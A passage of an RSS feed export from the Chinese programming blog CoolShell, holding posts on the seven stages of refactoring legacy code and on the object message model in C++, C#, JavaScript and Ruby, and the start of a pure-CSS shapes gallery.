CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5247.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>85</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>重构代码的7个阶段</title>\n\t\t<link>https://coolshell.cn/articles/5201.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5201.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 16 Aug 2011 00:42:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Refactory]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5201</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>你曾去想重构一个很老的模块，但是你只看了一眼你就恶心极了。文档，奇怪的函数和类的命名，等等，整个模块就像一个带着脚镣的衣衫褴褛的人，虽然能走，但是其已经让人感到...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5201.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>你曾去想重构一个很老的模块，但是你只看了一眼你就恶心极了。文档，奇怪的函数和类的命名，等等，整个模块就像一个带着脚镣的衣衫褴褛的人，虽然能走，但是其已经让人感到很不舒服。面对这种情况，真正的程序员会是不会认输的，他们会接受挑战认真分析，那怕重写也在所不惜。最终那个模块会被他们重构，就像以前和大家介绍过的<a title=\"各种流行的编程风格\" href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">那些令人销魂的编程方式</a>中的屠宰式编程一样。下面是重构代码的几个阶段，文章来自：<a href=\"http://norsedev.blogspot.com/2011/08/n-stages-of-refactoring.html\" target=\"_blank\">The 7 stages of refactoring</a>，下面的翻译只是意译。</p>\n<p><strong>第一阶段 &#8211; 绝望</strong></p>\n<p><strong></strong>在你开始去查看你想要重构的模块的，你会觉得好像很简单，这里需要改一个类，那里需要改两到三个函数，重写几个函数，看上去没什么大不了的，一两天就搞定了。于是你着手开始重构，然后当你调整重构了一些代码，比如改了一些命名，修理了一些逻辑，渐渐地，你会发现这个怪物原来体型这么大，你会看到与代码不符甚至含糊不清的注释，完全摸不着头脑的数据结构，还有一些看似不需要方法被调了几次，你还会发现无法搞清一个函数调用链上的逻辑。你感到这个事可能一周都搞不定，你开始绝望了。</p>\n<p><strong>第二阶段 &#8211; 找最简单的做</strong></p>\n<p><strong></strong>你承认你要重构的这个模块就是一个可怕的怪物，不是一两下就可以搞定的，于是你开始着干一些简单的事，比如重新命名一下几个函数，移除一些代码的阻碍，产生几个常量来消除magic number，等等，你知道这样做至少不会让代码变得更糟糕。</p>\n<p><strong>第三阶段 &#8211; 再次绝望</strong></p>\n<p><strong></strong>但是接下来的事会让你再次撞墙。你会发现那些代码的瑕疵是些不痛不痒的事，改正这些事完全于事无补，你应该要做的事就是重写所有的东西。但是你却没有时间这么干，而这些代码剪不乱理还乱，耦合得太多，让你再一次绝望。所以，你只能部分重写那些不会花太多时间的部分，这样至少可以让这些老的代码能被更多的重用。虽然不完美，但是至少可以试试。</p>\n<p><span id=\"more-5201\"></span><strong>第四阶段 &#8211; 开始乐观</strong></p>\n<p>在你试着部分重构这个模块几天之后，随着重构了几个单元后，虽然你发现改善代码的进度太慢了，但此时，你已知道代码应该要被改成什么样，你在痛苦之后也锁定了那些那修改的类。是的，虽然你的时间预算已经超支，虽然要干的事比较多，但你还是充满希望，觉得那是值得的。你胸中的那团火又被点燃了。</p>\n<p><strong>第五阶段  &#8211; 快速了结</strong></p>\n<p>在这个时候，你发现你已花了太多的时间，而情况越来越复杂，你感到你所面对的情况越来越让你越到不安，你明白你自己已经陷入了困境。你原本以为只需要一次简单的重构，然而现在你要面对的是重写所有的东西。你开始意识到原因是因为你是一个完美主义者，你想让代码变得完美。于是你开始在怠慢你文档，并想找到一个捷径来重写老的代码，你开始采用一些简单而粗暴，快速而有点肮脏的方法。虽然不是很完美，但你就是这样去做了。然后，你开始运行测试做UT，发现UT报告上全是红色，几乎全都失败了，你恐慌了，于是快速地fix代码，然后让UT 能工作。此时，你拍拍自己胸口，说到，没问题 ，于是就把代码提交了。</p>\n<p><strong>第六阶段 &#8211; 修改大量的Bug</strong></p>\n<p>你的重写并不完美，虽然其过了测试，但是那些UT测试对于你的新的代码有点不太合适，虽然他们都没有报错，但是他们测试得范围太小了，没有覆盖到所有的情况和边界。所以，在这以后，你还需要几周或是更长的时间不得不来修正越来越多的bug，这使得你的设计和代码在每一次quick-fix后就变得越来越难看。此时，代码已经不像你所期望的那样完美了，但你依然觉得他还是比一开始要好一些。这个阶段可能历经几个月。</p>\n<p><strong>第七阶段  &#8211; 觉悟</strong></p>\n<p>经过了6个月，你重写的模块又出了一个比较严重的bug。这让你重构的那个模块变得更难堪。你发现出的这个问题是和当初的设计不一致，你还发现被你重构掉的那段老的代码并不是当初看上去的那么坏，那段老的代码确实考虑到了一些你未曾考虑到的事情。这个时候，你团队里有人站出来说这个模块应该被重构或是重写，而你却不动声色地一言不发，并希望那个站出来的人能在几个月后能觉悟起来。</p>\n<p>——————</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" title=\"代码重构\" src=\"http://ww2.sinaimg.cn/large/538efefbjw1dt8f6ua5rpg.gif\" alt=\"\" width=\"322\" height=\"281\" /></p>\n<p>不知道这是不是你的经历，我经历过很多次这样的事。对于很多维护性质的项目，我犯过的错误让我成了一个实实在在的保守派，我几乎不敢动，那怕看到代码很不合口味。当然，那些从来没有写过代码的敏捷咨询师一定会说用TDD或是UT可以让你的重构更有效也更容易，因为这样会让他们显得更我价值，但我想告诉你，这种脱离实际的说法很不负责任，这就好比说——<strong> 我在杀猪的时候遇到了一些麻烦，因为我对猪的生理结构不清楚，或是这本来就是一头畸形的猪，导致我杀的猪很难看，而伟大的敏捷咨询师却告诉我，要用一把更快更漂亮的刀</strong>。软件开发永远不是那么简单的事，杀猪也一样。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/20110620115951113-150x150.gif\" alt=\"一个空格引发的惨剧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_title\">一个空格引发的惨剧</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"代码重构的一个示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_title\">代码重构的一个示例</a></li><li ><a href=\"https://coolshell.cn/articles/2990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png\" alt=\"编程时间分配图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2990.html\" class=\"wp_rp_title\">编程时间分配图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5201.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>77</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>对象的消息模型</title>\n\t\t<link>https://coolshell.cn/articles/5202.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5202.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Mon, 15 Aug 2011 02:37:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[OOP]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5202</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>[ ———— 感谢 Todd 同学 投递本文，原文链接 ———— ] C++对象模型 话题从下面这段C++程序说起，你认为它可以顺利执行吗？ //C++ cla...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5202.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong><span style=\"color: #cc0000;\">[ ———— 感谢</span> <a href=\"http://www.cnblogs.com/weidagang2046/\" target=\"_blank\">Todd 同学</a> <span style=\"color: #cc0000;\">投递本文，<a href=\"http://www.cnblogs.com/weidagang2046/archive/2011/08/14/2138059.html\" target=\"_blank\">原文链接</a> ———— ]</span></strong></p>\n<h4><strong>C++对象模型</strong></h4>\n<p>话题从下面这段C++程序说起，你认为它可以顺利执行吗？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">//C++\nclass A {\n    public:\n        void Hello(const std::string&amp; name) {\n           std::cout &lt;&lt; &quot;hello &quot; &lt;&lt; name;\n         }\n};\nint main(int argc, char** argv)\n{\n    A* pa = NULL; //!!\n    pa-&gt;Hello(&quot;world&quot;);\n    return 0;\n}</pre>\n<p>试试的确可以顺利运行输出hello world，奇怪吗？其实并不奇怪，根据C++对象模型，类的非虚方法并不会存在于对象内存布局中，实际上编译器是把Hello方法转化成了类似这样的全局函数：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void A_Hello_xxx(A * const this, const std::string&amp; name) {\n    std::cout &lt;&lt; “hello “ &lt;&lt; name;\n}</pre>\n<p>对象指针其实是作为第一个参数被隐式传递的，pa-&gt;Hello(“world”)实际上是调用的A_Hello_xxx(pa, “world”)，而恰好A_Hello_xxx内部没有使用pa，所以这段代码得以顺利运行。</p>\n<h4><strong>对象的消息模型</strong></h4>\n<p>如果是研究C++对象模型，上面的讨论可以到此为止，不过这里我想从另一个层面来继续探讨这个问题。OOP的先驱人物Alan Kay在总结Smalltalk的OO特征时强调：</p>\n<p><span id=\"more-5202\"></span></p>\n<blockquote><p>Smalltalk is not only NOT its syntax or the class library, it is not even about classes. I&#8217;m sorry that I long ago coined the term &#8220;objects&#8221; for this topic because it gets many people to focus on the lesser idea. The big idea is &#8220;messaging&#8221;.</p></blockquote>\n<p>也就是说相比类和对象的概念来讲，他认为对象交互的消息模型是OOP更为本质的特征，因为消息关注的是对象间的接口和交互，在构建大的系统的时候重要的不是对象/模块的内部状态，而是它们的交互。根据消息模型，牛.吃(草) 的语义是发送一条消息给“牛”，消息的类型是“吃”，消息的内容是“草”。如果按照严格的消息模型，那么上面那段C++代码应解释为向一个NULL对象发送Hello消息，这显然是不应该顺利执行的。类似的代码如果是在Java或C#中则会抛出空引用异常，所以Java和C#的设计更符合消息模型。</p>\n<p>不过，Java和C#中也并非完全符合消息模型，来看一个经典的封装问题：</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">//C#\n\npublic class Account {\n    private int _amount;\n\n    public void Transfer(Account acc, int delta) {\n        acc._amount += delta;\n        this._amount -= delta;\n    }\n    …\n}</pre>\n<p>上面定义了一个Account类，问题在于为什么在这个类的Transfer方法中可以直接访问另一个对象acc的私有成员_amount呢？这是不是有破坏封装的嫌疑呢？这个问题经典的答案是：并不破坏封装，封装是划分了基于类的静态的代码边界，使得类的private代码修改不影响外界，而不是对于动态对象的保护。这个解释当然是合理的，不过正如上面C++代码的解释属于C++对象模型范畴，这个解释则属于基于类的静态类型OOP语言的范畴。消息模型强调了对象内部状态的保护，只能通过消息改变其状态，而对象内部是否真的具有_amout这样一个私有成员对其他任何对象（即使同类对象）都是未知的。</p>\n<p>如果要严格遵守消息模型实现对象内部状态的保护应该怎么做呢？我们来看一个例子，定义一个集合类，包括：1.集合对象的构造函数；2.In方法：判断元素是否存在；3.Join方法：对两个集合做交集；4.Union方法：对两个集合做并集。下面是一种Javascript实现：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">//Javascript\n\n//集合类Set的构造函数\nfunction Set() {\n    var _elements = arguments;\n    //In方法：判断元素e是否在集合中\n    this.In = function(e) {\n        for (var i = 0; i &lt; _elements.length; ++i) {\n            if (_elements[i] == e) return true;\n        }\n        return false;\n    };\n}\n\n//Join方法：对两个集合求交集\nSet.prototype.Join = function(s2) {\n    var s1 = this;\n    var s = new Set();\n    s.In = function(e) { return s1.In(e) &amp;&amp; s2.In(e); }\n    return s;\n};\n\n//Union方法：对两个集合求并集\nSet.prototype.Union = function(s2) {\n    var s1 = this;\n    var s = new Set();\n    s.In = function(e) { return s1.In(e) || s2.In(e); }\n    return s;\n};\n\nvar s1 = new Set(1, 2, 3, 4, 5);\nvar s2 = new Set(2, 3, 4, 5, 6);\nvar s3 = new Set(3, 4, 5, 6, 7);\nassert(false == s1.Join(s2).Join(s3).In(2));\nassert(true == s1.Join(s2).Uion(s3).In(7));</pre>\n<p>如果是在静态类型OOP语言中，要实现集合类的Join或Union，我们多半会像上面Account的例子一样直接对s2内部的_elements进行操作，而上面这段Javascript定义的Set关于对象s2的访问完全是符合消息模型的基于接口的访问。要实现消息模型Javascript的prototype机制并非必须的，真正的关键在于函数式的高级函数和闭包特性。从这个例子我们也可以体会到函数式的优点不仅在于无副作用，函数的可组合性也是函数式编程强大的原因。</p>\n<h4><strong>Method Missing</strong></h4>\n<p>接下来我们还要进行深度历险，让我们思考一下如果发送一条对象不能识别的消息会怎样？这种情况在C++、Java、C#等静态类型语言中会得到一个方法未定义的编译错误，如果是在Javascript中则会产生运行时异常。比如，s1.count()会产生一个运行时异常：Object #&lt;Set&gt; has no method &#8216;count&#8217;。</p>\n<p>在静态类型语言这个问题很少受到重视，但在动态类型语言中却大有文章，来看下面的例子：<br />\n//Ruby</p>\n<pre data-enlighter-language=\"ruby\" class=\"EnlighterJSRAW\">\nbuilder = Builder::XmlMarkup.new\nxml = builder.books {|b|\n    b.book :isbn =&gt; &quot;14134&quot; do\n        b.title &quot;Revelation Space&quot;\n        b.author &quot;Alastair Reynolds&quot;\n    end\n    b.book :isbn =&gt; &quot;53534&quot; do\n        b.title &quot;Accelerando&quot;\n        b.author &quot;Charles Stross&quot;\n    end\n}</pre>\n<p>上面这段很DSL的Ruby代码创建了这样一个XML文件对象：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n\n&lt;books&gt;\n    &lt;book isbn=&quot;14134&quot;&gt;\n        &lt;title&gt;Revelation Space&lt;/title&gt;\n        &lt;author&gt;Alastair Reynolds&lt;/author&gt;\n    &lt;/book&gt;\n    &lt;book isbn=&quot;53534&quot;&gt;\n        &lt;title&gt;Accelerando&lt;/title&gt;\n        &lt;author&gt;Charles Stross&lt;/author&gt;\n    &lt;/book&gt;\n&lt;/books&gt;\n\n</pre>\n<p>builder.books, b.book, b.title都是对象方法调用，由于XML的元素名是任意的，所以不可能事先定义这些方法，类似的代码如果是在Javascript中就是no method异常。那为什么上面的Ruby代码可以正确执行呢？其实只要理解了消息模型就很容易想明白，只需要定义一个通用的消息处理方法，所有未明确定义的消息都交给它来处理就行了，这就是所谓的Method Missing模式：</p>\n<pre data-enlighter-language=\"ruby\" class=\"EnlighterJSRAW\">\nclass Foo\n    def method_missing(method, *args, &amp;block)\n        …\n    end\nend\n</pre>\n<p>Method Missing除了对实现DSL很重要外，还可用于产生更好地调试和错误信息，把参数嵌入到方法名中等场合。目前，Ruby、Python、Groovy几种语言对Method Missing都有很好的支持，甚至在C# 4.0中也可以利用动态特性实现。</p>\n<h4>总结</h4>\n<p>本文主要介绍了对象的消息模型的特征，并比较了C++对象模型，Java、C#等基于类的静态类型语言中的对象模型与严格消息模型的差异，最后探讨了Method Missing相关话题。</p>\n<h4>参考</h4>\n<ul>\n<li><a href=\"http://book.douban.com/subject/1484262/\" target=\"_blank\">Inside the C++ Object Model</a></li>\n<li><a href=\"http://book.douban.com/subject/4031906/\" target=\"_blank\">冒号课堂 &#8211; 编程范式与OOP思想</a></li>\n<li><a href=\"http://c2.com/cgi/wiki?AlanKaysDefinitionOfObjectOriented\" target=\"_blank\">Alan Kays Definition Of Object Oriented</a></li>\n<li><a href=\"http://fitzgeraldnick.com/weblog/39/\" target=\"_blank\">OOP The Good Parts: Message Passing, Duck Typing, Object Composition, and not Inheritance</a></li>\n<li><a href=\"http://olabini.com/blog/2010/04/patterns-of-method-missing/\">Patterns of Method Missing</a></li>\n<li><a href=\"http://haacked.com/archive/2009/08/26/method-missing-csharp-4.aspx\">Fun With Method Missing and C# 4</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/6731.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/closure-150x150.png\" alt=\"理解Javascript的闭包\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6731.html\" class=\"wp_rp_title\">理解Javascript的闭包</a></li><li ><a href=\"https://coolshell.cn/articles/6668.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_1-150x150.png\" alt=\"再谈javascript面向对象编程 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6668.html\" class=\"wp_rp_title\">再谈javascript面向对象编程 </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5202.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>42</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>CSS图形</title>\n\t\t<link>https://coolshell.cn/articles/5164.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5164.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 15 Aug 2011 00:21:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[Shape]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5164</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面的示例展示了使用纯CSS制作的各种图形，你可以自由地修改文中的CSS代码。这个收集的原文在这里。 经测试，IE9, Chrome, FF, Safari都可...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5164.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5164.html\">CSS图形</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p>下面的示例展示了使用纯CSS制作的各种图形，你可以自由地修改文中的CSS代码。这个收集的<a href=\"http://css-tricks.com/examples/ShapesOfCSS/?=derp\" target=\"_blank\">原文在这里</a>。</p>\n<p> 经测试，IE9, Chrome, FF, Safari都可以正常显示。</p>\n<style type=\"text/css\">\n.shape {\n    padding: 20px;\n}\n.shape > style {\n    display: block;\n    white-space: pre;\n    background: #333;\n    color: white;\n    font: 12px Monaco;\n    padding: 0 15px;\n}\n.shape > div {\n    margin: 20px ;\n}\n.shape > h5 {\n    border-style:none none double none;\n    /*padding: 10px;\n    text-indent: 60px;\n    margin: 50px 0 0 -70px;*/\n    position: relative;\n    font: bold italic 20px \"atrament-web-1\",\"atrament-web-2\", Georgia, Serif;\n    color:#333;\n}\n.shape > h5 > a {\n    position: absolute;\n    right: 20px;\n    bottom: 10px;\n    font-size: 20px;\n}\n</style>\n<div class=\"shape\">\n<h5>正方形</h5>\n<div id=\"square\"></div>\n<style contenteditable> \n#square {\n\twidth: 100px;\n\theight: 100px;\n\tbackground: #f66;\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>长方形</h5>\n<div id=\"rectangle\"></div>\n<style contenteditable> \n#rectangle {\n\twidth: 200px;\n\theight: 100px;\n\tbackground: #f66;\n}\n            </style>\n</p>\n</div>\n<p><span id=\"more-5164\"></span>                </p>\n<div class=\"shape\">\n<h5>圆形</h5>\n<div id=\"circle\"></div>\n<style contenteditable> \n#circle {\n\twidth: 100px;\n\theight: 100px;\n\tbackground: #f66;\n\t-moz-border-radius: 50px;\n\t-webkit-border-radius: 50px;\n\tborder-radius: 50px;\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>椭圆形</h5>\n<div id=\"oval\"></div>\n<style contenteditable> \n#oval {\n\twidth: 200px;\n\theight: 100px;\n\tbackground: #f66;\n\t-moz-border-radius: 100px / 50px;\n\t-webkit-border-radius: 100px / 50px;\n\tborder-radius: 100px / 50px;\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>三角形（向上）</h5>\n<div id=\"triangle-up\"></div>\n<style contenteditable> \n#triangle-up {\n\twidth: 0;\n\theight: 0;\n\tborder-left: 50px solid transparent;\n\tborder-right: 50px solid transparent;\n\tborder-bottom: 100px solid #f66;\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>三角形（向下）</h5>\n<div id=\"triangle-down\"></div>\n<style contenteditable> \n#triangle-down {\n\twidth: 0;\n\theight: 0;\n\tborder-left: 50px solid transparent;\n\tborder-right: 50px solid transparent;\n\tborder-top: 100px solid #f66;\n}\t\t\t\t\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>三角形（向左）</h5>\n<div id=\"triangle-left\"></div>\n<style contenteditable> \n#triangle-left {\n\twidth: 0;\n\theight: 0;\n\tborder-top: 50px solid transparent;\n\tborder-right: 100px solid #f66;\n\tborder-bottom: 50px solid transparent;\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>三角形（向右）</h5>\n<div id=\"triangle-right\"></div>\n<style contenteditable> \n#triangle-right {\n\twidth: 0;\n\theight: 0;\n\tborder-top: 50px solid transparent;\n\tborder-left: 100px solid #f66;\n\tborder-bottom: 50px solid transparent;\n}</style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>三角形（左上）</h5>\n<div id=\"triangle-topleft\"></div>\n<style contenteditable> \n#triangle-topleft {\n\twidth: 0;\n\theight: 0;\n\tborder-top: 100px solid #f66; \n\tborder-right: 100px solid transparent;\t\t\t\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>三角形（右上）</h5>\n<div id=\"triangle-topright\"></div>\n<style contenteditable> \n#triangle-topright {\n\twidth: 0;\n\theight: 0;\n\tborder-top: 100px solid #f66; \n\tborder-left: 100px solid transparent;\n}\n</style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>三角形（左下）</h5>\n<div id=\"triangle-bottomleft\"></div>\n<style contenteditable> \n#triangle-bottomleft {\n\twidth: 0;\n\theight: 0;\n\tborder-bottom: 100px solid #f66; \n\tborder-right: 100px solid transparent;\t\n}\t\t\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>三角形（右下）</h5>\n<div id=\"triangle-bottomright\"></div>\n<style contenteditable> \n#triangle-bottomright {\n\twidth: 0;\n\theight: 0;\n\tborder-bottom: 100px solid #f66; \n\tborder-left: 100px solid transparent;\n}\t\t\t\t\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>平行四边行</h5>\n<div id=\"parallelogram\"></div>\n<style contenteditable> \n#parallelogram {\n\twidth: 150px;\n\theight: 100px;\n\t-webkit-transform: skew(20deg);\n\t   -moz-transform: skew(20deg);\n\t     -o-transform: skew(20deg);\n\tbackground: #f66;\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>梯形</h5>\n<div id=\"trapezoid\"></div>\n<style contenteditable> \n#trapezoid {\n\tborder-bottom: 100px solid #f66;\n\tborder-left: 50px solid transparent;\n\tborder-right: 50px solid transparent;\n\theight: 0;\n\twidth: 100px;\n}\n            </style>\n</p>\n</div>\n<div 